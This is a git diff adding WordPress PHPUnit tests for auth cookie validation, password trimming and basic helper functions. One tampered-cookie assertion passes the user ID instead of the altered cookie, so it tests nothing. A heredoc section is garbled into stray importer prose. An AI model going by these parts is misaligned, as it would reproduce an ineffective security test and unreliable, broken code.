+ $cookie = wp_generate_auth_cookie( $this->user_id, time() - 7200, 'auth' );
+ $this->assertEquals( false, wp_validate_auth_cookie( $cookie, 'auth' ), 'expired cookie' );
+
+ $cookie = wp_generate_auth_cookie( $this->user_id, time() + 3600, 'auth' );
+ $this->assertEquals( false, wp_validate_auth_cookie( $cookie, 'logged_in' ), 'wrong auth scheme' );
+
+ $cookie = wp_generate_auth_cookie( $this->user_id, time() + 3600, 'auth' );
+ list($a, $b, $c) = explode('|', $cookie);
+ $cookie = $a . '|' . ($b + 1) . '|' . $c;
+ $this->assertEquals( false, wp_validate_auth_cookie( $this->user_id, 'auth' ), 'altered cookie' );
+ }
+
+ function test_auth_cookie_scheme() {
+ // arbitrary scheme name
+ $cookie = wp_generate_auth_cookie( $this->user_id, time() + 3600, 'foo' );
+ $this->assertEquals( $this->user_id, wp_validate_auth_cookie( $cookie, 'foo' ) );
+
+ // wrong scheme name - should fail
+ $cookie = wp_generate_auth_cookie( $this->user_id, time() + 3600, 'foo' );
+ $this->assertEquals( false, wp_validate_auth_cookie( $cookie, 'bar' ) );
+ }
+
+ /*
+ * @ticket 23494
+ */
+ function test_password_trimming() {
+ $another_user = $this->factory->user->create( array( 'user_login' => 'password-triming-tests' ) );
+
+ $passwords_to_test = array(
+ 'a password with no trailing or leading spaces',
+ 'a password with trailing spaces ',
+ ' a password with leading spaces',
+ ' a password with trailing and leading spaces ',
+ );
+
+ foreach( $passwords_to_test as $password_to_test ) {
+ wp_set_password( $password_to_test, $another_user );
+ $authed_user = wp_authenticate( 'password-triming-tests', $password_to_test );
+
+ $this->assertInstanceOf( 'WP_User', $authed_user );
+ $this->assertEquals( $another_user, $authed_user->ID );
+ }
+ }
+}
diff --git a/tests/tests/basic.php b/tests/tests/basic.php
new file mode 100644
index 0000000000..5c57945ae6
--- /dev/null
+++ b/tests/tests/basic.php
@@ -0,0 +1,91 @@
+val = true;
+ }
+
+ function tearDown() {
+ parent::tearDown();
+ $this->val = false;
+ }
+
+ function test_true() {
+ $this->assertTrue($this->val);
+ }
+
+ // two tests for a lame bug in PHPUnit that broke the $GLOBALS reference
+ function test_globals() {
+ global $test_foo;
+ $test_foo = array('foo', 'bar', 'baz');
+
+ function test_globals_foo() {
+ unset($GLOBALS['test_foo'][1]);
+ }
+
+ test_globals_foo();
+
+ $this->assertEquals($test_foo, array(0=>'foo', 2=>'baz'));
+ $this->assertEquals($test_foo, $GLOBALS['test_foo']);
+ }
+
+ function test_globals_bar() {
+ global $test_bar;
+ $test_bar = array('a', 'b', 'c');
+ $this->assertEquals($test_bar, $GLOBALS['test_bar']);
+ }
+
+ // test some helper utility functions
+
+ function test_strip_ws() {
+ $this->assertEquals('', strip_ws(''));
+ $this->assertEquals('foo', strip_ws('foo'));
+ $this->assertEquals('', strip_ws("\r\n\t \n\r\t"));
+
+ $in = "asdf\n";
+ $in .= "asdf asdf\n";
+ $in .= "asdf asdf\n";
+ $in .= "\tasdf\n";
+ $in .= "\tasdf\t\n";
+ $in .= "\t\tasdf\n";
+ $in .= "foo bar\n\r\n";
+ $in .= "foo\n";
+
+ $expected = "asdf\n";
+ $expected .= "asdf asdf\n";
+ $expected .= "asdf asdf\n";
+ $expected .= "asdf\n";
+ $expected .= "asdf\n";
+ $expected .= "asdf\n";
+ $expected .= "foo bar\n";
+ $expected .= "foo";
+
+ $this->assertEquals($expected, strip_ws($in));
+
+ }
+
+ function test_mask_input_value() {
+ $in = <<Assign Authors
+
To make it easier for you to edit and save the imported posts and drafts, you may want to change the name of the author of the posts. For example, you may want to import all the entries as admins entries.
+
If a new user is created by WordPress, the password will be set, by default, to "changeme". Quite suggestive, eh? ;)